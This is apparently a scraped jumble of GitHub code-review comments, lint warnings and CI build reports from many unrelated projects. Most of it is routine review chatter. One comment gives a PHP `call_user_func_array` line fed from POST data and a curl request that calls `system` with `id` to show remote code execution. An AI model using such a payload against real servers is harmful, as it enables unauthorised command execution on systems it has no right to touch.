[R/sumstat.R:180:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L180) *warning:* **no visible global function definition for ‘assert_that’**
```r
    assert_that(!is.null(segsites_list))
    ^~~~~~~~~~~
```
[R/sumstat.R:186:7:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L186) *warning:* **no visible global function definition for ‘assert_that’**
```r
      assert_that(is.numeric(trio))
      ^~~~~~~~~~~
```
[R/sumstat.R:188:7:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L188) *warning:* **no visible global function definition for ‘assert_that’**
```r
      assert_that(length(trio) == 3)
      ^~~~~~~~~~~
```
[R/sumstat.R:196:22:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L196) *warning:* **no visible global function definition for ‘as.segsites’**
```r
    segsites_list <- as.segsites(segsites_list, ...)
                     ^~~~~~~~~~~
```
[R/sumstat.R:200:5:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L200) *warning:* **no visible global function definition for ‘assert_that’**
```r
    assert_that(length(segsites_list) == get_locus_number(model))
    ^~~~~~~~~~~
```
[R/sumstat.R:200:42:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L200) *warning:* **no visible global function definition for ‘get_locus_number’**
```r
    assert_that(length(segsites_list) == get_locus_number(model))
                                         ^~~~~~~~~~~~~~~~
```
[R/sumstat.R:209:3:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L209) *warning:* **no visible global function definition for ‘calc_sumstats’**
```r
  calc_sumstats(model, segsites_list, tree_list)
  ^~~~~~~~~~~~~
```
[R/sumstat.R:214:14:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L214) *warning:* **no visible global function definition for ‘get_summary_statistics’**
```r
  any(sapply(get_summary_statistics(model), function(x) x$requires_segsites()))
             ^~~~~~~~~~~~~~~~~~~~~~
```
[R/sumstat.R:219:14:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L219) *warning:* **no visible global function definition for ‘get_summary_statistics’**
```r
  any(sapply(get_summary_statistics(model), function(x) x$requires_trees()))
             ^~~~~~~~~~~~~~~~~~~~~~
```
[R/sumstat.R:224:14:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/R/sumstat.R#L224) *warning:* **no visible global function definition for ‘get_summary_statistics’**
```r
  any(sapply(get_summary_statistics(model), function(x) x$requires_files()))
             ^~~~~~~~~~~~~~~~~~~~~~
```
[tests/testthat/test-feature-ign-singletons.R:13:45:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/tests/testthat/test-feature-ign-singletons.R#L13) *style:* **Commas should never have a space before.**
```r
               list(create_test_segsites()[ , -c(1, 3)],
                                           ~^
```
[tests/testthat/test-feature-ign-singletons.R:14:45:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/tests/testthat/test-feature-ign-singletons.R#L14) *style:* **Commas should never have a space before.**
```r
                    create_test_segsites()[ , -c(1, 3)]))
                                           ~^
```
[tests/testthat/test-model-cache.R:47:1:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/tests/testthat/test-model-cache.R#L47) *style:* **Trailing blank lines are superfluous.**
```r

^
```
[tests/testthat/test-model-class.R:241:44:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/tests/testthat/test-model-class.R#L241) *style:* **Commas should always have a space after.**
```r
               data.frame(name = c("theta","tau"),
                                           ^
```
[tests/testthat/test-segsites-class.R:30:31:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/tests/testthat/test-segsites-class.R#L30) *style:* **Place a space before left parenthesis, except in a function call.**
```r
  segsites <- create_segsites((matrix(c(1, 1, 0, 1, 1,
                              ^
```
[tests/testthat/test-segsites-class.R:36:26:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/tests/testthat/test-segsites-class.R#L36) *style:* **Commas should never have a space before.**
```r
  ss_subset <- segsites[ , 1:2]
                        ~^
```
[tests/testthat/test-segsites-class.R:38:64:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/tests/testthat/test-segsites-class.R#L38) *style:* **Commas should never have a space before.**
```r
  expect_equivalent(as.matrix(ss_subset), as.matrix(segsites)[ , 1:2])
                                                              ~^
```
[tests/testthat/test-segsites-class.R:41:30:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/tests/testthat/test-segsites-class.R#L41) *style:* **Commas should never have a space before.**
```r
  expect_equal(dim(segsites[ , 1]), c(3, 1))
                            ~^
```
[tests/testthat/test-segsites-class.R:42:33:](https://github.com/statgenlmu/coala/blob/557ad1dac5b1feabbccf966c7a06149ece3d68ff/tests/testthat/test-segsites-class.R#L42) *style:* **Commas should never have a space before.**
```r
  expect_equal(dim(segsites[1:2 , ]), c(2, 3))
                               ~^
```


goodwork!


Just tested with 2.0.1.0 and got error `"UnboundLocalError: local variable 'md' referenced before assignment"`.

Not sure, but it seems there are issue with indentation. It should be inside `if metadata:` block.


LGTM


This warning may be redundant when scrolling, please advise


LGTM.

BTW, there is really no rule for Slavonic numerals higher than ten thousand, as we wrote in UTN 41,

> ere is no consistent system for representing higher multiples of one thousand since numerals higher
than ten thousand are hardly ever encountered in Church Slavonic text.

So we're getting creative. In LibreOffice, IIRC, we made support for numerals up to ten million. But it's really all quite hypothetical.

In terms of special cases that need to be tested:
1. Order of teens: 111 = ра҃і, 121 = рк҃а
2. 800 = ѿ and not ѡ҃ (omega with titlo)
3. 820 = ѿк҃
4. 1860 = ҂аѿѯ҃ (position of titlo with the 800 is unusual)
5. Make sure 1010 ≠ 11000


remove


Presledek: `Avsec & Golob`.


What does running `nginx -V` show for you?

```
$ /opt/gitlab/embedded/sbin/nginx -V
nginx version: nginx/1.9.10
built by gcc 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.1)
built with OpenSSL 1.0.2f  28 Jan 2016
TLS SNI support enabled
configure arguments: --prefix=/opt/gitlab/embedded --with-http_ssl_module --with-http_stub_status_module --with-http_gzip_static_module --with-http_v2_module --with-ipv6 --with-debug --with-ld-opt=-L/opt/gitlab/embedded/lib --with-cc-opt='-L/opt/gitlab/embedded/lib -I/opt/gitlab/embedded/include'
```

You should see `--with-http_v2_module`.


Yes, I'm making this work with Laravel first, I'll see how I can make this all work with other frameworks afterwards.


fhhrhrth


It should be port or host:port, just like `listeners.tcp`
Number of ssl listeners is `num_ssl_acceptors`


Calling GL.BufferSubData with big amount of data, where elementCount is very big can result in big performance drop, I would suggest to refactor that part.


Instead of 'page/informea-brand-guidelines' you can add url('node/XXXXX');


It's a new comment


Why? Say they want the features IFM has! @LegendIsAwesomes


@SarahSchoonmaker DWMR (done with my review). Good here. Press ahead.


So I'll just need to hand compile the next snapshot build and make sure it's available to the build system?

The tricky part is I maintain snapshots for each of the branches built with the previous branch compiler.

I take it the make script defaults to armv6, so I only need to worry about this for the armv7 branch starting with the nightly?


if a trait is opposite to another, adding it will remove any opposite traits automatically.


It's worth mentioning `vm_memory_high_watermark.absolute`, as well as `disk_free_limit.relative`


This fixes #51.


strengthy -> strength


LGTM


@DrianHillman DWMR (done with my review) Good here. Press ahead.


Thanks for the PR, we keep this up to date with a private repo that is our actual Freenode instance. I'll have a look there and review this later today/this weekend.

Thanks.


Best commit message ever :-)


To avoid that macro remove state of depressed real modifier key.

For example, a macro is defined like 'D(LSHIFT) D(2) U(2) U(LSHIFT)' to register '@' and you pressed "real" Left Shift key somehow(not needed, but it can occur) then execute the macro. If you use `unregister_code()` intstead of `del_weak_mods()` you will lose LSHIFT state after that even if you still depress Left Shift key. This is not what users expect obviously.


Sure, if any OpenGL experts can suggest a better way to write interleaved data to a buffer, I'm all ears. In DirectX, we create a staging buffer and get a pointer to the destination memory, and then call `SharpDX.Utilities.CopyMemory` for each element: https://github.com/mono/MonoGame/blob/develop/MonoGame.Framework/Graphics/Vertices/VertexBuffer.DirectX.cs#L188. I don't know if it's possible to grab a pointer to the buffer in OpenGL, and if so, I don't know whether that would end up faster than calling `BufferSubData`.


... which seems strange behavior, given your description (I guess I'd have to look at the code you were referencing in your comment), as congenital traits really ought not be removed if a non-congenital trait is added, even if "sort of" an opposite.


Okay.. i think HW vsync isn't appropriate for ours Phone .. so maybe it was working in HW all the time ?
I think using your commit with forced SW vsync + Stock LCD freq should be the best way...
Then just fix tearing + lags only over video.modes :-)
I'll check this deeper when i'm done with CM11.


Update this file


Nice, I've wondered why it didn't do this by default when you're running everything on a single box.


Ok, I don't know, that do you think of create a `Corcel\Laravel` namespace? This way we can create functions using Corcel to a lot of frameworks :-)


We have updated the syntax for progen, can you please align to the master .I can do it manually after merging. just heads-up that this was updated


But just to clarify, existing code will continue to use the existing, fast code path - writing all the data in one go. This new code path enables something that wasn't previously supported on OpenGL - which is to specify a `vertexStride` that is different from `sizeof(T)`.


this link stop showing the tutorial
http://programmica.com/content/python-gtk3-tutorial/
it send me here
https://andrewsteele.me.uk/programmica.com/content/python-gtk3-tutorial/
but nothing is found ??

another thing how i can get a pdf file to this great tutorial ??


Got it


Would be helpful if you share more from the review feedback in the commit message. There are multiple changes within this commit.


re "implicit", there may be more to it, but isn't difference between coercions and casts precisely that the former are implicit while the latter are explicit. But obviously we don't care and can change the commit message to be more direct and leave no room for misunderstanding.


You can't just remove SocksiPy like this, this would break testing through SOCKS.


sometimes vanilla correctly checks for the absence of the congenital traits (e.g. `cm_religious_events`), but in at least one place i think it doesn't


There problem, this is for imma freedom not other  servers.


Testcase?  (pledging voice)


`* Igro igrata dva igralca, križec X in krožec O`


LGTM


Looks like `--nameonly` is also missing.


Ničla `0` ali `O`?


Nujno se *mora* premakniti.


4959-plant-HX-CoolDifferential-stuck-Off (EnergyArchmage) - x86_64-Linux-Ubuntu-14.04-cppcheck-1.61: OK (0 of 0 tests passed, 0 test warnings)

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.svg)


And there's no way to merge Qt translation files except their stupid tool...


very good change


Comment as doxygen what this method does.


@prudhomm the error evaluation is now made on the acceleration ? why this change ?
`uab2` is useless then ?


I'll try to upload a PDF over the weekend, and fix the website. I've been doing some work on the server this morning to setup SSL, which has broken Drupal.


I was just about to comment on this :D A wholly unnecessary reboot there :)


TeamCity OSS :: Kubernetes Mesos :: 4 - Smoke Tests [Build 17399](https://teamcity.mesosphere.io/viewLog.html?buildId=146915&buildTypeId=Oss_KubernetesMesos_5SmokeTestsDockerMesos&guest=1) outcome was **SUCCESS**
Summary: Tests passed: 1, ignored: 238 Build time: 00:07:32


@snopoke, that mysterious `get` method was because I was passing this as a StudySettings object instead of as a dict.


True!


We should not depend on the weak IRQ symbols, please use `` NVIC_SetVector `` to set irq handlers.


Seems to be misaligned


This Looks awesome!


Indentation - 4 spaces, seems in this file it's 8 ?


That line should probably be deleted.


@JigSawFr No it's not that. This exceptions is because something compiled wrong for the uploaded mono binaries release file...

The file was this one: https://github.com/raspdealer/Jackett/releases/download/v0.6.45.1/Jackett.Binaries.Mono.tar.gz

From here: https://github.com/raspdealer/Jackett/releases

I have just recompiled this jackett-public code myself. And the version which was made on my own PC works! This is great BTW. Many thanks @raspdealer. Perhaps you need to re-make your release files again though?

@raspdealer I can send to you a PR with my minor build fix, and a clearer build instructions. Its no trouble. You can also have my built archive too if you want. Just that I'm not really wishing to become the one who rebuilds it all the time (for any future updates).


Indeed. But hey, we're pretty fast at rebooting ;)


drop ` -`


`2>/dev/null` ?


Because this page is one of first Google's results on the topic, I'll leave it here.
Here is how we can determine *exact* SQL produced by query, with all parameters substituted.
This works for `PostgreSQL`, but not sure about other database types.

    query = MyModel.select().where(field1='value', fields2<datetime.datetime.now())
    query.database.get_cursor().mogrify(*query.sql())


Поспешил. Исправил


We can remove `article-is-free.js` now, right?


Не думал, что так можно. Так даже проще. Переделал.


make it progressive


thx!


The preferred fix would be:
```cmake
if (CMAKE_CONFIGURATION_TYPES)
  basis_is_cached (HAVE_BUILD_TYPE "CMAKE_BUILD_TYPE")
  if (HAVE_BUILD_TYPE)
    set_property(CACHE CMAKE_BUILD_TYPE PROPERTY STRINGS ${CMAKE_CONFIGURATION_TYPES})
  endif ()
  set_property(CACHE CMAKE_CONFIGURATION_TYPES PROPERTY TYPE INTERNAL)
endif ()
```


Revert this change please


How well would this work when using JS `state` to represent the `contentOffset` of a custom `ScrollView`? Comparable to the `UIScrollView` wrapper?


yea. we just tried to calibrate the ultrasonic and the readings were waaay off. dammit George.


Civ


this was me. sorry.


Ah, of course.


is this fixing a warning? It might be worth considering  this as a separate commit in the future for similar changes


I concur things like boardName are required and should be protected with assert statement in debug builds. In production I'm not sure its desired to send through an empty string as a board name to create if one is not supplied.


Any news on this?  Updated my whole project to use latest rc2 etc, and now my whole project has exploded and wont load.


That makes sense, thanks for your quick answer. I have also noticed that the recent 5a196b64448dd0b8fe84e5960b7ed4111383b8eb implemented an alternative to get that behavior.


you've just changed it in previous commit. Maybe drop that previous commit.


Urejeno 3a86c7d6c595bce02c39c772e3de59938899b856


Je 0.
3a86c7d6c595bce02c39c772e3de59938899b856


Forgot to remove `sr` variable.


TeamCity OSS :: Kubernetes Mesos :: 4 - Smoke Tests [Build 17400](https://teamcity.mesosphere.io/viewLog.html?buildId=146916&buildTypeId=Oss_KubernetesMesos_5SmokeTestsDockerMesos&guest=1) outcome was **SUCCESS**
Summary: Tests passed: 1, ignored: 238 Build time: 00:04:19


Cc @cr, @julienw, @fabricedesre


wut. i commit dis doh


Approved.


Itak sledim vašemu repozitoriju, tako da bom take zadeve videl, ni treba odgovarjati na vsak moj komentar. Popravi, kar se ti zdi smiselno popravljati.


Update - I noticed in the later commit this was fixed


Version mismatch: 1.0 in bower.json and package.json, but 2.0 in readme.


I don't think we want to log calls with wrong parameters, we could be attacked for random services in internet.
I added the todo for the other.


It works fine.


Forgot to rename project in demo/test pages.


call this method `softDependenciesAlreadyInHeader`


How to cite original authors in package.json?


done


Den Fehler kenne ich, ist aber nichts gravierendes. Passiert manchmal, wenn das Plugin die Seite nicht erreichen kann oder die Seite gerade kurz etwas langsam ist. Meistens klappt es dann aber beim nächsten Lauf des Plugins. Ich hab das schon als Änderung auf meinem Schirm.


neeh... it is already too complicated


This just changes the inputs for odbc connections to align with what my database requires.


Yeah no idea what I did there. Maybe I messed up the merge?


`balanceText` is defined by `global.balanceText` and called without `global.`. While works on browser, maybe don't work when using CommonJS.


Because I had a brain fart and couldn't find that in the `stdlib`? I knew it was somewhere, thanks!


Ayyyyyyyyy it was Victor's suggestion


Nope


I think this test that the output of the inner of scan with a dot work correctly. This can be done with the opt PushOutDot1. Can you disable this opt in this test to make sure it test pushed out by PushOutScanOutput?


Good catch.


Export this function for cleanup? Might be useful when using it along React.


Will ja hier keinen Lyrik Preis gewinnen 😄


Put in a separate file called website_admin_dashboard --> website.AdminDashboard and export only the Object


Yes, it's a mistake.


Looks like this commit is just re-ordering sections that were out of place. Is that correct?


hi Milorad,
this looks like a sensible implementation -thanks.
I notice you are still stealing from the 50% richest and giving to the 50% poorest - is that correct?


Michael/Mixpanel.m


it is just for tests


@mrdoob

I'd like to pull up my code but I don't quite understand this change. Where do the stereo properties go now?

Note for instance, that the stereo FOV angle (behind the convergence plane) is very different from the FOV angles for the individual cameras, as shown in the figure below (which outlines clipping in the pop-out area).

![skewed_stereo_frusta_clip](https://cloud.githubusercontent.com/assets/3916357/13353959/24a9a94a-dc98-11e5-9fbd-171039ae8a10.jpg)

> > > Calling these cameras leads to update them alternately, which reduce the performance.

> > Yes, good point!

> I don't think it's a big performance hit...

True. I meant not so much for performance, but for tidiness.


This function always handles new style exports. Basically I just needed a task that would take the id or the object itself, and it didn't feel very pythonic to write two functions like `rebuild_export_task_by_id()` and `rebuild_export_task_by_instance()` that do the same thing. I just realized though the right solution is probably to just make this function take an instance and move the `get_properly_wrapped_export_instance()` call up into the caller. I'll fix this today.


Original function, for some reason, trigger 'smartresize' event, not 'resize'. Changed as jQuery works in the way `$.something(function)` binds a function to a event and `$.something()` triggers this event.


Hast du aber gerade.


Sysinfo


What about checking outbox status in the jmap integration test too ?


@raspdealer OK Sorry - I now notice you made 2 important commit after releasing that compiled mono binaries. So that would be why the error (was not latest version).

Sorry for bothering you about it. I shall still send PR for better building instructions. Many thanks.


Quickly glanced over the new output. Looks good.


Do we need `class != unit->node()`? Please check this and remove it.


This'll do!


remove


ok thought I removed all those statements before


probably not :)


Yes, fixed :)


I didn't realise this was available in Node 4


Why is the queue length expected to be 0 - surely it should be 1? Suspect this may be a bug.


It would be nice if we had a script that could validate this automatically.


less


The commit breaks the code, it should have one less parentheses at the end


MapBasedNameService


macros should be uppercase _LP


That will be for the next ticket, there is no integration for now, so no integration test :)


No, it's zero because the cookie is still being processed. If it is enriched while it is being processed, it is not put back on the queue until process has returned.


Change this to htlc.


Pass Map<String,String> to constructor. Create map based on Configuration in descriptor


mapNameService


added OSD_PATH to configuration file.

fixed


Hey @ide, I was looking into timings of Travis https://travis-ci.org/facebook/react-native/builds/108897766.
I think your change makes sense by splitting tests into cohesive groups.
But are there more reasons to do that?

The reason I am asking is that JS tests execute in 27 seconds, packager 87 and cli 7 seconds.
Other ~6 minutes are spent by CI to boot (git checkout, npm install).
I noticed that Travis lies about build time  because builds are sometimes hanging in "loading" state for ~20 minutes and timer does not tick.
It is reasonable to assume that Travis does not give us infinite resources, so under a high load of builds it queues builds to get enough VMs available.

I think it would be reasonable to merge all js tests into one "flow test" and "npm test".
We would stress Travis less and will have statistically less chances of failing because of git and npm infra outages (less git checkouts and npm installs).

Do you agree?


to wyjebałeś?


404 [here]


- Also updated output text to a monospace font


arf, :+1:  but a bit sad nonetheless


I see now - thanks.


Fix submitted: https://github.com/dingo/api/pull/864


Deans changes


cool


volatile?


Yes, changing the colors is easy. But I meant the .png images, is it possible to get the inkscape/krita/illustrator files?


Is TC5 low power timer?


Put this server side


@Robotia Would it not be better to have a config file entry with a list of strings for this, so people can add names to this like [BuildCraft] etc..? (May be an idiot comment.. I'm no java expert)


TeamCity OSS :: Kubernetes Mesos :: 4 - Smoke Tests [Build 17401](https://teamcity.mesosphere.io/viewLog.html?buildId=146921&buildTypeId=Oss_KubernetesMesos_5SmokeTestsDockerMesos&guest=1) outcome was **FAILURE**
Summary: Exit code 2 (new) Build time: 00:00:27


lgtm, thanks!


Should we add new tag to fix this issue?


test


`do {...} while(0)` is a trick, but it's a classic - it is widely used and universally recognized.

It is possible to store type indices in containers (std::type_index is copy-constructible), but it can only be used to compere them with others or getting their names. A stored type cannot be used as a template parameter, as these need to be resolved on compile-time.

Please note that the commit you've proposed has landed in a wrong branch. Also, generally, don't be afraid to create new branches for experimental changes. If we wanted to add further changes to this branch, we would need to skip that suggested commit (for now).

I will be fine with the proposed change if the method is well documented in the header file in a way that makes is perfectly clear why would nobody want to use in any other context :-)


updated script with correct calculation to pull in monthly accrual and monthly non accrual.


Yes, this might be necessary ... I will have to look at how other frameworks implement Authentication Customization.

Right now, the only laravel-specific code is in `AuthServiceProvider.php`. However, someone could just use this with no framework : by creating a new instance of `AuthUserProvider` and calling the `retrieveByCredentials` function to authenticate a user.


spring jpa


MAybe also try writing a dedicated random test for this.


Hi,

Not by intention. There is a new ifdef on minisatip.c and my makefile is without netceiver.

Will correct this.


4959-plant-HX-CoolDifferential-stuck-Off (EnergyArchmage) - x86_64-MacOS-10.9-clang: OK (2110 of 2116 tests passed, 547 test warnings)

 * 531 tests had: EIO diffs.
 * 4 tests had: ESO small diffs.
 * 1 test had: MTR small diffs.
 * 24 tests had: ERR diffs.
 * 6 tests had: ESO big diffs.
 * 4 tests had: Table big diffs.
 * 4 tests had: MTR big diffs.
 * 2 tests had: Table small diffs.

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.svg) ![Test Badge](http://img.shields.io/badge/tests%20passed-99.72%25-yellow.svg)


a workaround for issue #15


So this showed that working on the level of namespace blocks is not fine-grained enough. Please make this work on the level of units.


Created issue: https://github.com/davidsaOpenu/simulator/issues/14


You are right...then leave it as it is right now...


Remove return


Remove all this --> duplicated information after fetch_data


TeamCity OSS :: Kubernetes Mesos :: 4 - Smoke Tests [Build 17402](https://teamcity.mesosphere.io/viewLog.html?buildId=146922&buildTypeId=Oss_KubernetesMesos_5SmokeTestsDockerMesos&guest=1) outcome was **SUCCESS**
Summary: Tests passed: 1, ignored: 239 Build time: 00:04:42


My thoughts align with @pitr-ch's.


meu commita em um branch chamado gh-pages, que o github irá publicar os teus arquivos staticos.
exemplo: [Repo](https://github.com/willmenn/AllRepositoriesContributed), [Url Static Web Site](http://willmenn.github.io/AllRepositoriesContributed/) --> Building the url **username**.github.io/**NomeDoRepo**, exemplo: `http://willmenn.github.io/AllRepositoriesContributed/`


Remove this --> duplicated


lgtm


Addresses #1


Install linter


I suggest to change the name to `AbstractFilenameMatcher` so that it is harder to mistake it with the hierarchy of `Parsers`


4959-plant-HX-CoolDifferential-stuck-Off (EnergyArchmage) - x86_64-Linux-Ubuntu-14.04-gcc-4.8-UnitTestsCoverage-Debug: OK (1008 of 1008 tests passed, 0 test warnings)

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.svg) ![Test Badge](http://img.shields.io/badge/tests%20passed-100.0%25-green.svg) ![Coverage Badge](http://img.shields.io/badge/coverage%20status-29.12%25-green.svg)


remove


Tests did not reveal any issues.


4959-plant-HX-CoolDifferential-stuck-Off (EnergyArchmage) - x86_64-Linux-Ubuntu-14.04-gcc-4.8: OK (2147 of 2154 tests passed, 549 test warnings)

 * 534 tests had: EIO diffs.
 * 7 tests had: ESO big diffs.
 * 1 test had: MTR small diffs.
 * 5 tests had: Table big diffs.
 * 24 tests had: ERR diffs.
 * 3 tests had: ESO small diffs.
 * 4 tests had: MTR big diffs.
 * 2 tests had: Table small diffs.

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.svg) ![Test Badge](http://img.shields.io/badge/tests%20passed-99.68%25-yellow.svg)


4959-plant-HX-CoolDifferential-stuck-Off (EnergyArchmage) - x86_64-Linux-Ubuntu-14.04-custom_check: OK (0 of 0 tests passed, 0 test warnings)

![Build Badge](http://img.shields.io/badge/build%20status-passing-green.svg)


License=BSD


License=Zlib


we're pushing on official github & gerrit, dude:

https://github.com/AOKP
http://gerrit.aokp.co/

Maintainers & help are welcome.


After fixing the 2 above you can remove this line


remove this


Ah yes, makes sense :+1:


The reported counterexample was a bit complex, and resulted in unsolved metas, so I was a bit reluctant to add that to the test suite. And since the bug and the fix were so simple I didn't feel a test case was that important.


`print_r(call_user_func_array($_POST['functie'], $_POST['argv']));`
curl www.site.com/test.php --data "functie=system&cmd[]=id" -v1

Bypassed again :)


When do you need to clear the console window?


I see. It makes sense to me, unless you have some ideas to simplify the whole setting of the href value. Should we just rely on `onSiteSelect` for instance and let people manage what happens?


Source=http://keithp.com/cgi-bin/gitweb.cgi?p=calypso.git;a=tree
License=GPLv3


TeamCity OSS :: Kubernetes Mesos :: 4 - Smoke Tests [Build 17403](https://teamcity.mesosphere.io/viewLog.html?buildId=146924&buildTypeId=Oss_KubernetesMesos_5SmokeTestsDockerMesos&guest=1) outcome was **SUCCESS**
Summary: Tests passed: 1, ignored: 238 Build time: 00:09:07


Damn, I guess I'll lose this one and comply with you three then :smile:


TeamCity OSS :: Kubernetes Mesos :: 4 - Smoke Tests [Build 17404](https://teamcity.mesosphere.io/viewLog.html?buildId=146923&buildTypeId=Oss_KubernetesMesos_5SmokeTestsDockerMesos&guest=1) outcome was **SUCCESS**
Summary: Tests passed: 1, ignored: 236 Build time: 00:09:12


Unless we base this on `delta`, this is going to vary from machine to machine. Probably not much, but still something we'll need to balance out in the future.


`s/,/, /`


License=GPLv3 https://github.com/Kozea/Radicale/blob/master/COPYING


maybe also add a mailing list (as in selection api for example):
http://lists.w3.org/Archives/Public/public-geolocation/


But what are clues?


@fprochazka When can I expect stable tag with this bugfix?


Why `front_input` is passed here?


use 'click' of Dialog


Remove this


We have `react-click-outside` now which I think could start simplifying how we deal with all these.


Have you tested it before committing?
I'm not happy to change stuff without knowing the side effects


I will have a look, thanks @StephanEggermont


Could we keep the info about where we used to get the info from. It is often useful to have this. Perhaps just as a sub-bullet here.


remove var P


Why do we need this adjustment?


+1 really like moving this to scripts/README.md


終於改完了....改個檔名還要連帶改好多東西,不只interface和implementation, 連navigationController的進入點root也指向之前的viewcontroller.....下次名字unsuitable也不敢去更動了...


@Patater please use NULL instead.


Might be a slightly better approach to prefer the backing field exact case match before both case-insensitive fallbacks?


> since share buttons are usually somewhere mid page.

This seems like something we could handle a bit better. Mmm...


You're right. I might open a small PR later to change all of them.


how about `setImmediate` here?


This class is later removed in a93e00440709b32dc7495f3844b01d4b16798594.


Yeah, I realized that yesterday after our computing meeting. I'll revert the "typo" changes :-)


It looks like this file still needs to be updated.

Can you also add a LICENSE file?


it is in your mailbox


I would not overestimate the risk here.
When using DECIMAL users will generally want to have decimal fields. To do that they will need to specify scale, which implies need to specify precision.

Also @sopel39 is working on improving "long" DECIMAL performance.
The proposal is here: https://github.com/facebook/presto/wiki/Fast-Decimal-Type


Well, Make this a private repo... Pay for it if it is just for Imma...


I recall we disabled this because it was causing a huge amount of re-renders last we checked.


I have to say I don't super like moving python scripts inline into another file. Is there any way to do a first patch where we just update the existing python structure and have a makefile *and* then start a thread discussing the tuttle approach so I can understand it more?

Let me emphasize that I massively appreciate this patch - I'm just desirous of moving incrementally - e.g. updating the existing python setup e.g. with wikipedia extract *and* then opening a thread for the tuttle change.


Thanks for the feedback bruno.
I've taken them on board and made some changes.


not available in node < 0.10


Add this.dashboard_templates.leads = 'website_sale.DashboardLeads'


@clintonb do you think it's a good idea to log whenever a new ``ProductCategory`` is created?


@raspdealer and the new working mono binaries are uploaded here (to my fork):

https://github.com/dreamcat4/Jackett-public/releases/tag/v0.6.45.2


I started using `onSiteSelect` instead of the basePath recently. The path is a bit of a relic from the very initial site picker that was never cleaned.


Add this.dashboard_templates = {visits: 'website.DashboardVisits'}


Ok @rundef! Nice! Don't worry about others frameworks, but I think using a `Laravel` namespace, or even `Slim` can be nice to get others frameworks users.

Maybe this can be the next step for Corcel, improving it's usage to custom frameworks users.

Can um make the namespaces changes and send the pull request? That's a very awesome contribution :-) Thanks again.


The easy way to handle this is to not create it at all and just let ovn-controller do it.  It will create it with the default recommended / required options if br-int does not exist.

We *can* create it, but if we do, we need to set some additional options.  In particular, br-int needs " fail-mode=secure" and "other-config:disable-in-band=true".


@molinch I tested and profiled it, it's definitely better than dispose and nothing (more bitmap counter are "freed"), but it's definitely not an ideal solution. The ideal would be to detect if the view is inside recycler view and handle it from `OnDetachedFromWindow`. Should we keep it? Or undo it? What do you think?


Its a debian wheezy install

newtec@jittertrap:~$ cat /etc/debian_version
7.9
newtec@jittertrap:~$ uname -a
Linux jittertrap 3.2.0-4-486 #1 Debian 3.2.73-2+deb7u2 i686 GNU/Linux


Modify this according to the template name


@NickCraver that's a legit suggestion; that will indeed ensure that with column `Id`, the backing field for `Id` gets selected over `id`, which is what we would expect for a `get;set;`. Will tweak.


Not really. It could get noisy.


TeamCity LabKey :: LabkeyModules15.3 :: Git postgres 9.4 [Build 121](https://teamcity.labkey.org/viewLog.html?buildId=305738&buildTypeId=LabkeyModules153_GitPostgres) outcome was **FAILURE**
Summary: Tests failed: 18 (2 new), passed: 278, muted: 1 Build time: 01:36:45
### Failed tests
```
org.labkey.test.tests.CDSTest.verifyLearnAboutStudyDetails: <no details avaliable>

org.labkey.test.Runner: org.labkey.test.tests.JUnitTest$RemoteTest.org.labkey.study.model.StudyManager$DatasetImportTestCase: <no details avaliable>

org.labkey.test.tests.CDSTest.testLearnAboutStudyProducts: <no details avaliable>

org.labkey.test.tests.CDSTest.clickOnLearnAboutStudyProductsItem: <no details avaliable>

org.labkey.test.tests.CDSTest.testLearnAboutStudyProductsSearch: <no details avaliable>

org.labkey.test.tests.DataFinderTest.testStickyFinderFilterOnDataset: <no details avaliable>

org.labkey.test.tests.DataFinderTest.testStudyParticipantCounts: <no details avaliable>

org.labkey.test.tests.DataFinderTest.testSearch: <no details avaliable>

org.labkey.test.Runner: org.labkey.test.tests.CDSLoginTest: <no details avaliable>

org.labkey.test.tests.CDSLoginTest.testSessionTimeoutIntercept: <no details avaliable>

org.labkey.test.tests.CDSVisualizationTest.verifyLogGutterPlot: <no details avaliable>

##### there are 8 more failed tests, see build details
```


|`line 2`|
|---|
inline comment reply


TeamCity Civic Assembly :: Build all [Build 84](http://build.civicconnecttlabs.com/tc/viewLog.html?buildId=1436&buildTypeId=CivicAssembly_BuildAll&guest=1) is now running


Like: https://github.com/Automattic/wp-calypso/pull/3560/files#diff-414303db60e403364a0ed6b10e351764R53


s/Openstack/OpenStack/


Was changing the ami incidental or require for things to work?


1) Modify to take the keys 'graph' of data
2) Don't use id but classes with data


Was the yaw torque working at all before this commit? Doesn't seem like it should have been, but someone using the PX4 fork, which does not include this fix, told me yaw was working fine for him. Not for me, however, I needed to paste in these (and later related) changes to make that fork work properly.


The default AMI I was using before was no longer available -  So I
picked one with the most recent ubuntu LTS


